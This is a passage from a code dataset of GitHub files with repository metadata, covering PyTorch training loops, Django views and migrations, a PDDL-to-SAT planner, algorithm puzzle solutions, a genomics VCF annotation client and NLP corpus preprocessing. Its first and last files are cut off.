nn.Linear(in_ch, 16))\n stage.add_module('batch_norm', nn.BatchNorm1d(16))\n # stage.add_module('leaky', nn.LeakyReLU(0.1))\n stage.add_module('relu', nn.ReLU())\n stage.add_module('fc2', nn.Linear(16, 16))\n stage.add_module('batch_norm2', nn.BatchNorm1d(16))\n stage.add_module('relu2', nn.ReLU())\n stage.add_module('fc3', nn.Linear(16, 2))\n stage.add_module('batch_norm3', nn.BatchNorm1d(2))\n stage.add_module('relu3', nn.ReLU())\n # stage.add_module('fc4', nn.Linear(16, 2))\n # stage.add_module('batch_norm4', nn.BatchNorm1d(2))\n # stage.add_module('relu4', nn.ReLU())\n return stage\n\n\ndef train(dataloader, model, loss_fn, optimizer, device):\n size = len(dataloader.dataset)\n num_batches = len(dataloader)\n model.train()\n train_loss, correct = 0, 0\n for batch, (X, y) in enumerate(dataloader):\n # time_start = time.time()\n X, y = X.to(device), y.to(device)\n # Compute prediction error\n pred = model(X)\n pred = pred.squeeze(-1)\n loss = loss_fn(pred, y)\n train_loss += loss.item()\n correct += sum(row.all().int().item() for row in (pred.ge(0.5) == y))\n\n # Backpropagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n # print(\"Train_Time:\", time.time() - time_start)\n if batch % 100 == 0:\n loss, current = loss.item(), batch * len(X)\n print(f\"loss: {loss:>7f} [{current:>5d}/{size:>5d}]\")\n\n train_loss /= num_batches\n correct /= size\n print(f\"Train Error: \\n Accuracy: {(100 * correct):>0.1f}%, Avg loss: {train_loss:>8f} \\n\")\n\n\ndef val(dataloader, model, loss_fn, device):\n size = len(dataloader.dataset)\n num_batches = len(dataloader)\n model.eval()\n test_loss, correct = 0, 0\n with torch.no_grad():\n for X, y in dataloader:\n X, y = X.to(device), y.to(device)\n pred = model(X)\n pred = pred.squeeze(-1)\n test_loss += loss_fn(pred, y).item()\n # print(pred, pred.ge(0.5), y)\n # print(pred.ge(0.5) == y)\n # print(sum(row.all().int().item() for row in (pred.ge(0.5) == y)))\n correct += sum(row.all().int().item() for row in (pred.ge(0.5) == y))\n test_loss /= num_batches\n correct /= size\n print(f\"Val Error: \\n Accuracy: {(100 * correct):>0.1f}%, Avg loss: {test_loss:>8f} \\n\")\n return test_loss\n\n\ndef test(dataloader, model, loss_fn, device):\n size = len(dataloader.dataset)\n num_batches = len(dataloader)\n ans = []\n ans1 = []\n model.eval()\n test_loss, correct = 0, 0\n n = 0\n with torch.no_grad():\n for X, y in dataloader:\n n += 1\n # time_start = time.time()\n X, y = X.to(device), y.to(device)\n pred = model(X)\n pred = pred.squeeze(-1)\n test_loss += loss_fn(pred, y).item()\n correct += sum(row.all().int().item() for row in (pred.ge(0.5) == y))\n for i in range(y.shape[0]):\n ans.append(pred[i].item())\n ans1.append(y[i].item())\n # print(\"testTime:\", time.time() - time_start)\n test_loss /= num_batches\n correct /= size\n print(f\"Test Error: \\n Accuracy: {(100 * correct):>0.1f}%, Avg loss: {test_loss:>8f} \\n\")\n return ans, ans1\n\n\ndef writeBCE():\n ans = -(1 / 2) * ((0 * math.log(0.7761) + (1 - 0) * math.log(1 - 0.7761)) + (\n 0 * math.log(0.5448) + (1 - 0) * math.log(1 - 0.5448)))\n print(ans)\n\n# 1.141883373260498\n# writeBCE()\n","repo_name":"ohXu/SEAF-CA","sub_path":"CNN/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":11303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9902084793","text":"import unittest\nimport uuid\n\nfrom domain.user.factory import UserFactory, InvalidUsername\nfrom domain.user.user import User\nfrom uuid import UUID\n\n\n\n\nclass UnitFactoryTestCase(unittest.TestCase):\n def test_it_creates_user_if_the_username_is_between_6_and_20_chars(self):\n username = \"between-6-and-20-\"\n factory = UserFactory()\n\n actual_user = factory.make_new(username)\n\n self.assertEqual(username, actual_user.username)\n self.assertEqual(User, type(actual_user))\n\n def test_it_raises_exception_if_the_username_is_below_6(self):\n username = \"below\"\n factory = UserFactory()\n\n with self.assertRaises(InvalidUsername) as context:\n factory.make_new(username)\n\n self.assertEqual(\n \"Username should have at least 6 chars\", str(context.exception)\n )\n\n def test_it_raises_exception_if_the_username_is_above_20_chars(self):\n username = \"u\" * 21\n factory = UserFactory()\n\n with self.assertRaises(InvalidUsername) as context:\n factory.make_new(username)\n\n self.assertEqual(\n \"Username should have a maximum of 20 chars !\", str(context.exception)\n )\n\n def test_it_creates_a_user_if_the_username_has_valid_chars(self):\n username = \"rares123-\"\n factory = UserFactory()\n\n actual_user = factory.make_new(username)\n\n self.assertEqual(username, actual_user.username)\n self.assertEqual(User, type(actual_user))\n\n def test_it_raises_exception_if_the_username_has_invalid_chars(self):\n username = \"rares@1\"\n factory = UserFactory()\n\n with self.assertRaises(InvalidUsername) as context:\n factory.make_new(username)\n\n self.assertEqual(\n \"Username should have only letters and numbers as characters or '-' \",\n str(context.exception),\n )\n\n def test_make_from_persistence(self):\n uuid_ = \"4a4c58ee-8fd4-415e-9801-947e86b97d7e\"\n username = \"random-1\"\n info = (uuid_, username)\n factory = UserFactory()\n user = factory.make_from_persistence(info)\n self.assertIsInstance(user, User)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"RaresM30/finance-project","sub_path":"tests/domain/user/test_factory.py","file_name":"test_factory.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"13353849846","text":"class Solution(object):\n def networkDelayTime(self, times, N, K):\n \"\"\"\n :type times: List[List[int]]\n :type N: int\n :type K: int\n :rtype: int\n \"\"\"\n children = {}\n weights = {}\n\n for i in range(1, N + 1):\n children[i] = []\n weights[i] = sys.maxint\n\n for time in times:\n children[time[0]].append([time[1], time[2]])\n\n queue = [K]\n weights[K] = 0\n visited = []\n\n def visit(node):\n visited.append(node)\n for child in children[node]:\n if child[0] not in visited:\n queue.append(child[0])\n if weights[node] + child[1] < weights[child[0]]:\n weights[child[0]] = weights[node] + child[1]\n queue.append(child[0])\n\n while len(queue) > 0:\n visit(queue.pop(0))\n\n for i in range(1, N + 1):\n if i not in visited:\n return -1\n\n return max(weights.values())\n\n\n\n\n","repo_name":"ethan-truong/interview-prep","sub_path":"Leetcode/network delay time (743).py","file_name":"network delay time (743).py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11522788273","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('reports', '0007_auto_20151128_0345'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Folder',\n fields=[\n ('id', models.AutoField(verbose_name='ID', auto_created=True, serialize=False, primary_key=True)),\n ('Folder_Name', models.CharField(max_length=200)),\n ],\n ),\n migrations.AddField(\n model_name='report',\n name='folder',\n field=models.ForeignKey(related_name='author', to='reports.Folder', null=True, default=None),\n ),\n ]\n","repo_name":"bmblank/cs3240-f15-team11","sub_path":"reports/migrations/0008_auto_20151128_1409.py","file_name":"0008_auto_20151128_1409.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6990361738","text":"import sys\nimport itertools\nimport copy\nfrom dpll import *\nfrom operator import itemgetter\n\ndef get_letters(string):\n letters = []\n for i in string:\n if i.isalpha():\n letters.append(i)\n return letters\n\nclass PDDL:\n def __init__(self):\n self.nb_consts = 0 # number of constants\n self.consts = [] # list of constants\n self.nb_preds = 0 # number of predicates\n self.predicates = [] # list of predicates\n self.init_state = [] # list of predicates composing the initial state\n self.goal_state = [] # list of predicates composing the goal state\n self.actions = [] # list of possible actions\n self.dict = {} # dictionary describing every possible predicate\n self.h_init_state = [] # initial state in Hebrand base\n self.h_goal_state = [] # goal state in Hebrand base\n self.h_actions = [] # list of action schemas in Hebrand base\n self.sat_sentence = [] # sentence\n self.dimacs_sentence = [] # sentence in DIMACS\n \n\n def add_action(self, action):\n self.actions.append(action)\n \n #counts constantes\n def count_consts(self, predicate):\n predicate=predicate[0:len(predicate)-1].split(\"(\")\n\n #list of constantes in predicate\n predicate=predicate[1].split(\",\")\n for c in predicate:\n if c not in self.consts:\n self.consts.append(c)\n self.nb_consts += 1\n \n \n \n def hebrand_base(self):\n \n # count constants\n # assuming all constants appear in I and G, no constant solely in A\n for i in self.init_state:\n if i != \"I\":\n self.count_consts(i)\n for g in self.goal_state:\n if g != \"G\":\n self.count_consts(g)\n\n # now need to add predicates to the predicate list\n p_list=[]\n\n for a in self.actions:\n for pred in a.precond + a.effect:\n if pred[0]!=\"-\":\n p = pred.split(\"(\")\n pred_name = p[0]\n nb_args = p[1].count(\",\")+1\n\n #info about the predicate (its name and number of arguments)\n info=[pred_name, nb_args]\n\n #if that info was already seen. If not, it is added to the list of predicates\n if info in p_list:\n continue\n else:\n p_list.append(info)\n \n \n for pred_info in p_list:\n #if the analised predicate has more than 1 argument\n if pred_info[1]>1:\n #combinations of not repeating constants \n combinations=list(itertools.permutations(self.consts,pred_info[1]))\n else:\n combinations=self.consts\n\n #for every combination\n for listing in combinations:\n predicate=pred_info[0] + \"(\"\n for i in range (pred_info[1]):\n \n #if it is put the last variable\n if i==pred_info[1]-1:\n #adds final variable\n predicate += listing[i] + \")\"\n else:\n #adds a variable and a comma\n predicate += listing[i] + \",\"\n #adds predicate to list of predicates \n self.predicates.append(predicate)\n \n #hebrand of initial state\n for predicate in self.predicates:\n #if predicate in initial state\n if predicate in self.init_state:\n self.h_init_state.append(predicate)\n\n #if not, add/remove a minus sign if predicate does/doesn't have it\n else:\n if predicate[0]!=\"-\":\n self.h_init_state.append(\"-\"+predicate)\n else:\n self.h_init_state.append(predicate[1:])\n\n\n \n # transform action schemas into hebrand base\n for act in self.actions:\n action_name = act.name.split(\"(\")\n action_args = get_letters(action_name[1]) #variables\n action_name = action_name[0]\n combinations = list(itertools.permutations(self.consts,act.nb_args))\n \n \n for listing in combinations:\n h_action_name = action_name + \"(\" + ','.join(listing) + \")\"\n # convert preconditions into hebrand base\n h_precond = []\n\n #to check if a precondition has a constant that was added as argument to the action\n flag=0\n for precond in act.precond:\n dummy_precond = precond.split(\"(\")\n precond_name = dummy_precond[0]\n precond_args = dummy_precond[1][0:len(dummy_precond[1])-1].split(\",\")\n #checks every precondition arguments\n for p in precond_args:\n if p in listing:\n #it means that this hebranded action is not used ex:move2table(Table,A)\n flag=1\n break\n if flag==1:\n break\n \n for ii,i in enumerate(precond_args):\n for ij,j in enumerate(action_args):\n #if argument in precondition has same letter as the argument of action\n if i==j:\n #sets constant\n precond_args[ii]=listing[ij]\n h_precond.append(precond_name+\"(\"+','.join(precond_args)+\")\")\n if flag==1:\n continue\n flag=0\n # convert effects in to hebrand base\n h_effects = []\n for effect in act.effect:\n dummy_effect = effect.split(\"(\")\n effect_name = dummy_effect[0]\n effect_args =dummy_effect[1][0:len(dummy_effect[1])-1].split(\",\")\n\n #checks every effect arguments\n for e in effect_args:\n if e in listing:\n flag=1\n break\n if flag==1:\n break\n for ii,i in enumerate(effect_args):\n for ij,j in enumerate(action_args):\n #if argument in effect has same letter as the argument of action\n if i==j:\n effect_args[ii]=listing[ij]\n \n \n h_effects.append(effect_name+\"(\"+','.join(effect_args)+\")\")\n if flag==1:\n continue\n else:\n #adds hebranded action to list of hebranded actions\n self.h_actions.append(action(h_action_name, h_precond, h_effects))\n \n \n \n \n def build_sat_sentence(self, horizon, last_sentence=None):\n # use Hebrand names and convert to DIMACS later\n \n # first clause is initial state\n if horizon==1:\n for literal in self.h_init_state:\n self.sat_sentence.append([literal+\"0\"])\n\n # next comes the action schemas\n #action => precond ^ effects = (-action V precond) ^ (-action V effects)\n for action in self.h_actions:\n for precond in action.precond:\n clause=[]\n clause.append(\"-\"+action.name+str(horizon-1))\n clause.append(precond+str(horizon-1))\n self.sat_sentence.append(clause)\n\n for effect in action.effect:\n clause=[]\n clause.append(\"-\"+action.name+str(horizon-1))\n clause.append(effect+str(horizon))\n self.sat_sentence.append(clause)\n # next comes the frame axioms\n clause = []\n pred=copy.deepcopy(self.predicates)\n \n #(untouched0 ^ action0 => untouched1) ^ (-untouched0 ^ action0 => -untouched1)=\n #=(-untouched V - action0 V untouched1) ^(untouched0 V -action0 V -untouched1)\n for a in self.h_actions:\n for p in pred:\n \n if (p not in a.effect and \"-\"+p not in a.effect):\n clause.append(\"-\" + p + str(horizon-1))\n clause.append(\"-\" + a.name + str(horizon-1))\n clause.append(p + str(horizon))\n self.sat_sentence.append(clause)\n clause=[]\n\n clause.append(p + str(horizon-1))\n clause.append(\"-\" + a.name + str(horizon-1))\n clause.append(\"-\" + p + str(horizon))\n self.sat_sentence.append(clause)\n clause=[]\n \n #choose one action per frame\n action_list=[]\n #Must choose at least 1 action\n for action in self.h_actions:\n action_list.append(action.name+str(horizon-1))\n self.sat_sentence.append(action_list)\n #must one action at least\n for index,i in enumerate(action_list):\n for j in action_list[index+1:]:\n self.sat_sentence.append([\"-\"+i,\"-\"+j])\n \n \n\n\n\n\n\n\n\nclass action:\n def __init__(self, name, precond, effect):\n self.nb_args = name.count(',')+1\n self.name = name\n self.precond = precond\n self.effect = effect\n\n\nclass sat_action:\n def __init__(self, act, sat):\n self.name = act.name\n self.precond = act.precond\n self.effect = act.effect\n\n\n\n\n\n\n\n\n\n#adds goal sentence to sentence\ndef add_goal_to_sentence(sentence,horizon,goal):\n s=copy.deepcopy(sentence)\n for predicate in goal:\n s.append([predicate+str(horizon)])\n return s\n \n#reads input file\ndef open_file(file):\n\n pddl = PDDL()\n\n f = open(file)\n lines = f.readlines()\n \n for line in lines:\n words = list(line.split())\n if words!=[]:\n #Initial state line\n if words[0] == 'I':\n pddl.init_state = words[1:]\n #Goal state line\n if words[0] == 'G':\n pddl.goal_state = words[1:]\n #Actions lines\n if words[0] == 'A':\n ind = 0\n # the symbol '->' separates preconditions from effects\n for i in range(len(words)): # search index of symbol '->'\n if words[i] == \"->\":\n ind = i\n break\n \n name = words[1]\n preconditions = words[3:ind]\n effects = words[ind+1:]\n\n #add action to list of actions available\n new_action = action(name, preconditions, effects)\n pddl.add_action(new_action)\n\n f.close()\n return pddl\n\n#coberts sentence to DIMACS syntax\ndef convert2dimacs(sentence,pddl):\n #DIMACS table\n dictionary={}\n #aDIMACS ctions table\n actions={}\n dimacs=copy.deepcopy(sentence)\n n=1\n for i,clause in enumerate(sentence):\n for j, literal in enumerate(clause):\n #if analised literal not in the dictionary yet\n if literal not in dictionary:\n #if literal \"positive\"\n if literal[0]!=\"-\":\n #add it and its opposite\n dictionary[literal]=n\n dictionary[\"-\"+literal]=-n\n #changes literal to its DIMACS value\n dimacs[i][j]=dictionary[literal]\n n=n+1\n else:\n #add it and its opposite\n dictionary[literal]=-n\n dictionary[literal[1:]]=n\n #if literal is an action add it to DIMACS action table\n for a in pddl.h_actions:\n if literal[1:len(literal)-1] in a.name:\n actions[literal[1:len(literal)]]=n\n #changes literal to its DIMACS value\n dimacs[i][j]=dictionary[literal]\n n=n+1\n \n else:\n dimacs[i][j]=dictionary[literal]\n \n returning=[dictionary,dimacs,dict((k,v) for k,v in actions.items())]\n return returning\n \n\n","repo_name":"jonborg/IASD-Project-2","sub_path":"cnf_converter.py","file_name":"cnf_converter.py","file_ext":"py","file_size_in_byte":12709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19596939137","text":"from django.core.exceptions import ValidationError\nfrom django.http import JsonResponse\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework import status\n\nfrom seed.decorators import ajax_request_class\nfrom seed.models import PropertyMeasure, PropertyView\nfrom seed.serializers.scenarios import PropertyMeasureSerializer\nfrom seed.utils.api import api_endpoint_class\nfrom seed.utils.api_schema import AutoSchemaHelper\nfrom seed.utils.viewsets import SEEDOrgNoPatchNoCreateModelViewSet\n\n\nclass PropertyMeasureViewSet(SEEDOrgNoPatchNoCreateModelViewSet):\n \"\"\"\n API view for PropertyMeasures\n \"\"\"\n serializer_class = PropertyMeasureSerializer\n model = PropertyMeasure\n pagination_class = None\n orgfilter = 'property_state__organization_id'\n\n enum_validators = {\n 'application_scale': PropertyMeasure.str_to_application_scale,\n 'category_affected': PropertyMeasure.str_to_category_affected,\n 'implementation_status': PropertyMeasure.str_to_impl_status\n }\n\n @api_endpoint_class\n @ajax_request_class\n def list(self, request, property_pk=None, scenario_pk=None):\n \"\"\"\n Where property_pk is the associated PropertyView.id\n \"\"\"\n try:\n property_state = PropertyView.objects.get(pk=property_pk).state\n except PropertyView.DoesNotExist:\n return JsonResponse({\n \"status\": 'error',\n \"message\": 'No PropertyView found for given pks'\n }, status=status.HTTP_404_NOT_FOUND)\n\n measure_set = PropertyMeasure.objects.filter(scenario=scenario_pk, property_state=property_state.id)\n\n serialized_measures = []\n for measure in measure_set:\n serialized_measure = PropertyMeasureSerializer(measure).data\n serialized_measures.append(serialized_measure)\n\n return JsonResponse({\n 'status': 'success',\n 'data': serialized_measures\n }, status=status.HTTP_200_OK)\n\n @api_endpoint_class\n @ajax_request_class\n def retrieve(self, request, property_pk=None, scenario_pk=None, pk=None):\n \"\"\"\n Where property_pk is the associated PropertyView.id\n \"\"\"\n\n try:\n property_state = PropertyView.objects.get(pk=property_pk).state\n measure = PropertyMeasure.objects.get(pk=pk, scenario=scenario_pk, property_state=property_state.id)\n except (PropertyMeasure.DoesNotExist, PropertyView.DoesNotExist):\n return JsonResponse({\n \"status\": 'error',\n \"message\": 'No Measure found for given pks'\n }, status=status.HTTP_404_NOT_FOUND)\n\n serialized_measure = PropertyMeasureSerializer(measure).data\n\n return JsonResponse({\n \"status\": 'success',\n \"data\": serialized_measure\n }, status=status.HTTP_200_OK)\n\n @swagger_auto_schema(\n request_body=AutoSchemaHelper.schema_factory(\n {\n \"application_scale\": PropertyMeasure.APPLICATION_SCALE_TYPES,\n \"category_affected\": PropertyMeasure.CATEGORY_AFFECTED_TYPE,\n \"cost_capital_replacement\": \"integer\",\n \"cost_installation\": \"integer\",\n \"cost_material\": \"integer\",\n \"cost_mv\": \"integer\",\n \"cost_residual_value\": \"integer\",\n \"cost_total_first\": \"integer\",\n \"description\": \"string\",\n \"implementation_status\": PropertyMeasure.IMPLEMENTATION_TYPES,\n \"property_measure_name\": \"string\",\n \"recommended\": \"boolean\",\n \"useful_life\": \"integer\",\n }\n )\n )\n @api_endpoint_class\n @ajax_request_class\n def update(self, request, property_pk=None, scenario_pk=None, pk=None):\n \"\"\"\n Where property_pk is the associated PropertyView.id\n \"\"\"\n try:\n property_state = PropertyView.objects.get(pk=property_pk).state\n property_measure = PropertyMeasure.objects.get(pk=pk, scenario=scenario_pk, property_state=property_state.id)\n except (PropertyMeasure.DoesNotExist, PropertyView.DoesNotExist):\n return JsonResponse({\n \"status\": \"error\",\n \"message\": 'No Property Measure found with given pks'\n }, status=status.HTTP_404_NOT_FOUND)\n\n possible_fields = [f.name for f in property_measure._meta.get_fields()]\n\n for key, value in request.data.items():\n if key in possible_fields:\n # Handle enums\n if key in self.enum_validators.keys():\n value = self.enum_validators[key](value)\n if value is None:\n return JsonResponse({\n \"Success\": False,\n \"Message\": f\"Invalid {key} value\"\n }, status=status.HTTP_400_BAD_REQUEST)\n\n setattr(property_measure, key, value)\n else:\n return JsonResponse({\n \"status\": 'error',\n \"message\": f'\"{key}\" is not a valid property measure field'\n }, status=status.HTTP_400_BAD_REQUEST)\n\n try:\n property_measure.save()\n except ValidationError as e:\n return JsonResponse({\n \"Success\": False,\n \"Message\": str(e)\n }, status=status.HTTP_400_BAD_REQUEST)\n\n result = {\n \"status\": \"success\",\n \"data\": PropertyMeasureSerializer(property_measure).data\n }\n\n return JsonResponse(result, status=status.HTTP_200_OK)\n\n @api_endpoint_class\n @ajax_request_class\n def destroy(self, request, property_pk=None, scenario_pk=None, pk=None):\n try:\n # property_state = PropertyView.objects.get(pk=property_pk).state\n # Can't use property_view to find measures on historical property_states.\n # When New scenarios and measures are created the pervious property_state looses its connection\n # to a property_view.\n property_measure = PropertyMeasure.objects.get(pk=pk, scenario=scenario_pk)\n except (PropertyMeasure.DoesNotExist, PropertyView.DoesNotExist):\n return JsonResponse({\n \"status\": \"error\",\n \"message\": 'No Property Measure found with given pks'\n }, status=status.HTTP_404_NOT_FOUND)\n\n property_measure.delete()\n return JsonResponse({\n 'status': 'success',\n 'message': 'Successfully Deleted Property Measure'\n }, status=status.HTTP_200_OK)\n","repo_name":"SEED-platform/seed","sub_path":"seed/views/v3/property_measures.py","file_name":"property_measures.py","file_ext":"py","file_size_in_byte":6641,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"5"} +{"seq_id":"40476371941","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n'''\nZetCode Advanced PyQt4 tutorial \n\nIn this example, we demonstrate the nesting of \nlayout managers. \n\nauthor: Jan Bodnar\nwebsite: zetcode.com \nlast edited: October 2013\n'''\n\nimport sys\nfrom PyQt4 import QtGui, QtCore \nimport QExtendedLabel\n\nclass Example(QtGui.QWidget):\n \n def __init__(self):\n super(Example, self).__init__()\n \n self.move(700, 700)\n self.setWindowTitle(\"Test\")\n \n self.initUI()\n \n \n def initUI(self):\n self.myImage = QtGui.QPixmap(\"../Cards/CardBack.png\")\n self.myImage = self.myImage.scaled(self.myImage.size(), QtCore.Qt.KeepAspectRatio, QtCore.Qt.SmoothTransformation)\n\n self.my_label = QExtendedLabel.ExtendedQLabel(self)\n hbox = QtGui.QHBoxLayout() \n hbox.addWidget(self.my_label) \n \n self.my_label.setOriginalPixmap(self.myImage)\n \n self.setLayout(hbox) \n \napp = QtGui.QApplication([])\nex = Example()\nex.show()\nsys.exit(app.exec_())\n","repo_name":"JimboMonkey/Palace","sub_path":"layout/test_resize.py","file_name":"test_resize.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9141476724","text":"s=list(input())\nk=int(input())\nn=len(s)\ndef diff(s):\n re=ord('z')-ord(s)+1\n if s=='a':\n re=0\n return re\ndef al(s,m):\n q=97+(ord(s)-97+m)%26\n return chr(q)\n\np=[]\nfor i in range(n):\n p.append(diff(s[i]))\nans=[]\nfor i in range(n-1):\n c=s[i]\n if c!='a':\n if p[i]<=k:\n c=al(s[i],p[i])\n k-=p[i]\n ans.append(c)\nans.append(al(s[-1],k))\nprint(''.join(ans))","repo_name":"Nikkuniku/AtcoderProgramming","sub_path":"Other/CODE FESTIVAL 2016 qual A/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32434773147","text":"import read_data\nfrom torchvision import transforms,datasets\nimport resnet as model\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.optim import lr_scheduler\nimport numpy as np\nfrom torch.autograd import Variable\nfrom PIL import ImageFile,Image\nimport os,shutil\nimport random\nimport time\n\n\nImageFile.LOAD_TRUNCATED_IMAGES = True\nbatch_size=2\n\n\ndef test(model, test_path):\n sum_time=0\n model.eval()\n lines = list(open(test_path, 'r'))\n sum=0\n for video_data in lines:\n input, lable=read_data.get_frame_data(video_data)\n input=np.array(input).transpose(3,0,1,2)\n input=[input]\n lable=[lable]\n inputs, lables = Variable(torch.Tensor(input)).cuda(),Variable(torch.Tensor(lable)).cuda()#, Variable(lable).cuda()\n outputs = model(inputs.cuda())\n _, predicted = torch.max(outputs, 1)\n lables = lables.to(device=torch.device(\"cuda:0\"), dtype=torch.int64)\n if lables[0]==predicted[0]:\n sum=sum+1\n return sum/len(lines)\n\n\n\nnum_classes = 2\ntrain_path='./data/train_data.txt'\ntest_path='./data/test_data.txt'\nval_path='./data/val_data.txt'\nmodel_resnet = model.resnet18(\n num_classes=400,\n shortcut_type='A',\n sample_size=112,\n sample_duration=16)\nmodel_resnet = model_resnet.cuda()\nmodel_resnet = nn.DataParallel(model_resnet, device_ids=[0])\nmodel_resnet.module.conv1=nn.Conv3d(1, 64, kernel_size=(7, 7, 7), stride=(1, 2, 2), padding=(3, 3, 3), bias=False)\nmodel_resnet.module.conv1=model_resnet.module.conv1.cuda()\nmodel_resnet.module.fc = nn.Linear(3584,\n num_classes)\nmodel_resnet.module.fc = model_resnet.module.fc.cuda()\nprint(model_resnet)\n\nmodel_resnet.load_state_dict(torch.load('./model/model_11_0_0.875.pkl'))\nprint(test(model_resnet,val_path))","repo_name":"darchon30704/DLinmed_CTC","sub_path":"test_CT_class.py","file_name":"test_CT_class.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24054548895","text":"import sys\nfrom cyvcf2 import VCF\nimport argparse\nimport cmd2web\n\nparser = argparse.ArgumentParser(description='Annotate VCF with STIX ws.')\n\nparser.add_argument('--host',\n\t\t dest='host',\n default=\"http://127.0.0.1:8080\",\n help='Server address(default http://127.0.0.1:8080)')\n\nparser.add_argument('--vcf',\n\t\t dest='vcf_file_name',\n\t\t required=True,\n\t\t help='Name of VCF to annotate')\n\nargs = parser.parse_args()\n\nvcf = VCF(args.vcf_file_name)\n\ns = cmd2web.Client.connect(args.host)\n\nvcf.add_info_to_header({'ID': 'STIX_NONZERO',\n 'Description': 'The number of samples in cohort with non-zero evidence',\n 'Type':'Integer', 'Number': '1'})\n\nprint (str(vcf.raw_header), end='', flush=True)\n\nfor v in vcf:\n chrom = v.CHROM\n start = v.POS\n end = v.INFO.get('END')\n svtype = v.INFO.get('SVTYPE')\n cipos = v.INFO.get('CIPOS')\n ciend = v.INFO.get('CIEND')\n\n if None in [chrom, start, end, svtype]:\n continue\n\n if cipos == None:\n cipos = [0,0]\n\n if ciend == None:\n ciend = [0,0]\n\n if svtype not in ['DEL', 'DUP', 'INV']:\n continue\n\n #print [chrom, start, end, svtype, cipos, ciend]\n try:\n R = s.run('1kg', \n type=svtype,\n left_chrom=chrom, left_start=start+cipos[0], left_end=start+cipos[1],\n right_chrom=chrom, right_start=end+ciend[0], right_end=end+ciend[1])\n except Exception as e:\n print(str(v), end='', flush=True)\n continue\n\n zero_one = [int(x) for x in R[0][2].split(':')]\n more_depths = [int(x) for x in R[0][4].split(':')]\n non_zero_depths = zero_one[1] + sum(more_depths)\n v.INFO[\"STIX_NONZERO\"] = str(non_zero_depths)\n print(str(v), end='', flush=True)\n","repo_name":"ryanlayer/cmd2web","sub_path":"src/stix_client.py","file_name":"stix_client.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"5"} +{"seq_id":"33038944358","text":"import matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nimport pandas.util.testing as tm\nimport seaborn as sns\n\nlabels = ['normal','pneumonia']\n\ndef make_confusionmatrix(true_test, preds_test, file_name):\n df = tm.DataFrame(confusion_matrix(true_test,preds_test))\n plt.figure(figsize = (10,10))\n sns.heatmap(df,annot=True,\n fmt='.0f',\n annot_kws={'size': 15},\n yticklabels=labels,\n xticklabels=labels)\n plt.xlabel('Predicted')\n plt.ylabel('True')\n #plt.show()\n plt.savefig(file_name)\n acc_score = accuracy_score(true_test,preds_test)\n print(\"error rate: \",1 - acc_score)\n","repo_name":"YukiM00/Backdoor-medicalAI","sub_path":"utils/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37582203811","text":"\"\"\"\r\n1 语料库预处理\r\n1.1 读取语料库文件\r\n1.2 分词,构建词典\r\n1.3 构建映射关系\r\n1.4 语料转为id向量\r\n1.5 拆分成source、target\r\n1.6 词向量训练\r\n1.7 保存文件\r\n\"\"\"\r\n\r\nimport os\r\nimport json\r\nimport jieba\r\nfrom gensim.models import Word2Vec\r\nfrom tkinter import _flatten\r\n\r\n\r\n# 语料库预处理\r\nclass CorpusPreprocess():\r\n\tdef __init__(self):\r\n\t\tpass\r\n\r\n\tdef reading_corpus_files(self, corpus_path: str) -> list:\r\n\t\t\"\"\"\r\n\t\t# 1.1 读取语料库文件\r\n\t\t:param corpus_path: 语料库路径\r\n\t\t:return: 语料库列表\r\n\t\t\"\"\"\r\n\t\tcorpus_list = os.listdir(corpus_path)\r\n\t\tcorpus = []\r\n\t\tfor corpus_file in corpus_list:\r\n\t\t\twith open(os.path.join(corpus_path, corpus_file), encoding='utf-8')as f:\r\n\t\t\t\tcorpus.extend(f.readlines())\r\n\t\tcorpus = [i.replace('\\n', '') for i in corpus]\r\n\t\treturn corpus\r\n\r\n\tdef participle_build_dictionary(self, dict_file_path, corpus):\r\n\t\t\"\"\"\r\n\t\t# 1.2 分词,构建词典\r\n\t\t:param dict_file_path: 分词词典文件路径\r\n\t\t:param corpus: 语料库\r\n\t\t:return: 分词后的语料库列表, 词典\r\n\t\t\"\"\"\r\n\t\tjieba.load_userdict(dict_file_path)\r\n\t\tcorpus_cut = [jieba.lcut(i) for i in corpus]\r\n\t\ttmp = _flatten(corpus_cut)\r\n\t\t_PAD, _BOS, _EOS, _UNK = '_PAD', '_BOS', '_EOS', '_UNK'\r\n\t\tall_dict = [_PAD, _BOS, _EOS, _UNK] + list(set(tmp))\r\n\t\treturn corpus_cut, all_dict\r\n\r\n\tdef Building_mapp_relationship(self, all_dict):\r\n\t\t\"\"\"\r\n\t\t# 1.3 